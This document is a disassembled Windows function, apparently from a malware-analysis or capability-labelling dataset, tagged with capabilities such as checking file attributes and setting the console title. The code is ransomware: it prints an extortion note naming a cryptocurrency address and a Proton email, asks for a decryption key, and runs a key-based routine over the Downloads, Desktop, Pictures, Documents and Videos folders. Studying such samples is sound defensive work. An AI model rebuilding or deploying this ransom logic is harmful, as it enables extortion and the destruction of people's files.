Function at 0x140014c58
Capabilities:
Check if file exists
Get file attributes
Set console window title

Disassembly:
jmp 0x1400334a0
push rbp
push rdi
sub rsp, 0x6c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x11a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140050040]
xor rax, rbp
mov qword [rbp + 0x690], rax
lea rcx, [0x14005b124]
call fcn.140015211
lea rcx, [0x1400471b0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea rcx, [rbp + 8]
call fcn.140014bcc
nop
lea rdx, str.Your_files_are_encrypted._The_only_way_to_get_your_data_is_to_send_50_dollars_to_this_Bitcoin_address:_0xfcb6964dbda886987f2864a214e92c280de76835
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014235
lea rdx, str.and_then_send_an_email_to_recovery596_proton.me_with_your_ID__
mov rcx, rax
call fcn.140014235
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.140015009
lea rdx, [0x140047264]
mov rcx, rax
call fcn.140014235
lea rdx, str.and_your_Bitcoin_address_where_you_sent_the_Bitcoin._We_will_then_send_you_your_decryption_key.
mov rcx, rax
call fcn.140014235
lea rdx, str.If_you_close_this_program__restart_your_PC._n
mov rcx, rax
call fcn.140014235
lea rcx, [rbp + 0x48]
call fcn.1400151e4
nop
lea rdx, str.Enter_decryption_key:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014235
lea rdx, [rbp + 0x48]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001406e
lea rcx, [rbp + 0x88]
call fcn.14001464f
nop
lea r8, [rbp + 0x88]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x3e8]
call fcn.1400140c8
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0x680], rax
lea r8, str.Downloads
mov rdx, qword [rbp + 0x680]
lea rcx, [rbp + 0xc8]
call fcn.140015086
nop
lea rcx, [rbp + 0x3e8]
call fcn.140014393
lea rcx, [rbp + 0xc8]
call fcn.1400141ea
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0xffffffff
je 0x140033620
mov eax, dword [rbp + 0x104]
and eax, 0x10
test eax, eax
je 0x140033620
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xc8]
call fcn.140014e83
lea r8, [rbp + 0x88]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x428]
call fcn.1400140c8
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0x680], rax
lea r8, str.Desktop
mov rdx, qword [rbp + 0x680]
lea rcx, [rbp + 0x468]
call fcn.140015086
mov qword [rbp + 0x688], rax
mov rdx, qword [rbp + 0x688]
lea rcx, [rbp + 0xc8]
call fcn.140014528
lea rcx, [rbp + 0x468]
call fcn.140014393
nop
lea rcx, [rbp + 0x428]
call fcn.140014393
lea rcx, [rbp + 0xc8]
call fcn.1400141ea
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0xffffffff
je 0x1400336dd
mov eax, dword [rbp + 0x104]
and eax, 0x10
test eax, eax
je 0x1400336dd
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xc8]
call fcn.140014e83
lea r8, [rbp + 0x88]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x4a8]
call fcn.1400140c8
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0x680], rax
lea r8, str.Pictures
mov rdx, qword [rbp + 0x680]
lea rcx, [rbp + 0x4e8]
call fcn.140015086
mov qword [rbp + 0x688], rax
mov rdx, qword [rbp + 0x688]
lea rcx, [rbp + 0xc8]
call fcn.140014528
lea rcx, [rbp + 0x4e8]
call fcn.140014393
nop
lea rcx, [rbp + 0x4a8]
call fcn.140014393
lea rcx, [rbp + 0xc8]
call fcn.1400141ea
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0xffffffff
je 0x14003379a
mov eax, dword [rbp + 0x104]
and eax, 0x10
test eax, eax
je 0x14003379a
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xc8]
call fcn.140014e83
lea r8, [rbp + 0x88]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x528]
call fcn.1400140c8
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0x680], rax
lea r8, str.Documents
mov rdx, qword [rbp + 0x680]
lea rcx, [rbp + 0x568]
call fcn.140015086
mov qword [rbp + 0x688], rax
mov rdx, qword [rbp + 0x688]
lea rcx, [rbp + 0xc8]
call fcn.140014528
lea rcx, [rbp + 0x568]
call fcn.140014393
nop
lea rcx, [rbp + 0x528]
call fcn.140014393
lea rcx, [rbp + 0xc8]
call fcn.1400141ea
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0xffffffff
je 0x140033857
mov eax, dword [rbp + 0x104]
and eax, 0x10
test eax, eax
je 0x140033857
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xc8]
call fcn.140014e83
lea r8, [rbp + 0x88]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x5a8]
call fcn.1400140c8
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0x680], rax
lea r8, str.Videos
mov rdx, qword [rbp + 0x680]
lea rcx, [rbp + 0x5e8]
call fcn.140015086
mov qword [rbp + 0x688], rax
mov rdx, qword [rbp + 0x688]
lea rcx, [rbp + 0xc8]
call fcn.140014528
lea rcx, [rbp + 0x5e8]
call fcn.140014393
nop
lea rcx, [rbp + 0x5a8]
call fcn.140014393
lea rcx, [rbp + 0xc8]
call fcn.1400141ea
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0xffffffff
je 0x140033914
mov eax, dword [rbp + 0x104]
and eax, 0x10
test eax, eax
je 0x140033914
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xc8]
call fcn.140014e83
xor r8d, r8d
lea rdx, [0x1400473ec]
lea rcx, [rbp + 0x128]
call fcn.140014136
nop
lea rcx, [rbp + 0x128]
call fcn.140014852
movzx eax, al
test eax, eax
je 0x140033982
lea rcx, [rbp + 0x128]
call fcn.1400141ae
movzx eax, al
test eax, eax
je 0x140033982
lea rdx, [0x1400473ec]
lea rcx, [rbp + 0x628]
call fcn.140014857
nop
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x628]
call fcn.140014e83
nop
lea rcx, [rbp + 0x628]
call fcn.140014393
lea rdx, str.C:Users
lea rcx, [rbp + 0x168]
call fcn.140014857
nop
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x168]
call fcn.140014e83
mov dword [rbp + 0x664], 0
lea rcx, [rbp + 0x168]
call fcn.140014393
nop
lea rcx, [rbp + 0x128]
call fcn.14001507c
nop
lea rcx, [rbp + 0xc8]
call fcn.140014393
nop
lea rcx, [rbp + 0x88]
call fcn.140014393
nop
lea rcx, [rbp + 0x48]
call fcn.140014393
nop
lea rcx, [rbp + 8]
call fcn.140014393
mov eax, dword [rbp + 0x664]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140045330]
call fcn.140014ef6
mov eax, edi
mov rcx, qword [rbp + 0x690]
xor rcx, rbp
call fcn.1400148e3
lea rsp, [rbp + 0x6a8]
pop rdi
pop rbp
ret